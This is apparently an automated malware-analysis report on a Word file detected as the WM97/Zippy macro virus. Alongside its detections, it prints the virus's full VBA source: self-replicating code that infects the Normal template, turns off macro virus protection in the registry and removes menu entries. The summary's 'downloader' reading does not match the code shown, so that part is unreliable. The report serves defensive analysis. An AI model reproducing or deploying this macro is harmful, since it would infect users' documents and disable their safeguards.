MALICIOUS
242
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains critical heuristics indicating the presence of VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon document opening. The VBA script attempts to export a component to the startup path, likely to download and execute a second-stage payload. While the specific payload and its ultimate destination are not fully discernible due to script truncation, the overall pattern suggests a macro-based downloader.
Heuristics 6
-
ClamAV: Doc.Trojan.Class-39 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-39
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://home.wxs.nl/~strui013 In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 9784 bytes |
SHA-256: a029c226a0ea8132dba1c903792eab2049ac70612622cc944a7ac72f2e10d85a |
|||
|
Detection
ClamAV:
Doc.Trojan.Class-17
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo zippy
Options.VirusProtection = Chr(48): Options.SaveNormalPrompt = Chr(48): Options.ConfirmConversions = Chr(48): x = 0: o = 0
rt = ActiveDocument.VBProject.VBComponents.Item(Abs(1)).codemodule.countoflines
st = NormalTemplate.VBProject.VBComponents.Item(Abs(1)).codemodule.countoflines
If st > 0 And rt > 0 Then GoTo zippy
If st = 0 Then
Set rl = NormalTemplate.VBProject.VBComponents
Set hst = ActiveDocument.VBProject.VBComponents
If Month(Now()) > 1 And Day(Now()) = 10 Then Application.ActiveDocument.PrintOut , , , "The Zippy Infection.vir"
If Month(Now()) > 1 And Day(Now()) = 15 Then Application.ActiveDocument.PrintOut , , , "Virus says Hi.vir"
If Month(Now()) > 1 And Day(Now()) = 20 Then Application.ActiveDocument.PrintOut , , , "Stop killing baby virii.vir"
If Month(Now()) > 1 And Day(Now()) = 25 Then Application.ActiveDocument.PrintOut , , , "Zippy Zippy Zippy.vir"
hst.Item(Abs(1)).Name = rl.Item(Abs(1)).Name
hst.Item(Abs(1)).Export Application.StartupPath & System.Version
End If
If rt = 0 Then Set rl = ActiveDocument.VBProject.VBComponents
rl.Item(Abs(1)).codemodule.AddFromFile Application.StartupPath & System.Version
With rl.Item(Abs(1)).codemodule
For j = Chr(49) To Chr(52)
.deletelines Chr(49)
Next j
End With
With rl.Item(Abs(1)).codemodule
For j = Chr(53) To rl.Item(Abs(1)).codemodule.countoflines Step Chr(53)
x = Int(Rnd(412835) * 303989) + 8485
o = Int(Rnd(487958) * 785865) + 2988
.replaceline j, Chr(39) & x * o & o * x & x * o
Next j
End With
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "It's Zippy!"
If st = 0 Then CommandBars("tools").Controls("Macro").Delete
If st = 0 Then CommandBars("tools").Controls("Options...").Delete
If st = 0 Then rl.Item(Abs(1)).codemodule.replaceline 1, "Sub AutoClose()"
If st = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
zippy:
If st <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub 'WM97/Zippy by Virus :) Smile
' Processing file: /opt/analyzer/scan_staging/edc5d278c71a47caad18ece446173831.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4442 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' OnError zippy
' Line #2:
' LitDI2 0x0030
' ArgsLd Chr 0x0001
' Ld Options
' MemSt VirusProtection
' BoS 0x0000
' LitDI2 0x0030
' ArgsLd Chr 0x0001
' Ld Options
' MemSt SaveNormalPrompt
' BoS 0x0000
' LitDI2 0x0030
' ArgsLd Chr 0x0001
' Ld Options
' MemSt ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' St x
' BoS 0x0000
' LitDI2 0x0000
' St o
' Line #3:
' LitDI2 0x0001
' FnAbs
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd countoflines
' St rt
' Line #4:
' Line #5:
' LitDI2 0x0001
' FnAbs
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd countoflines
' St st
' Line #6:
' Ld st
' LitDI2 0x0000
' Gt
' Ld rt
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' GoTo zippy
' EndIf
' Line #7:
' Ld st
' LitDI2 0x0000
' Eq
' IfBlock
' Line #8:
' SetStmt
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' Set rl
' Line #9:
' Line #10:
' SetStmt
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' Set
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.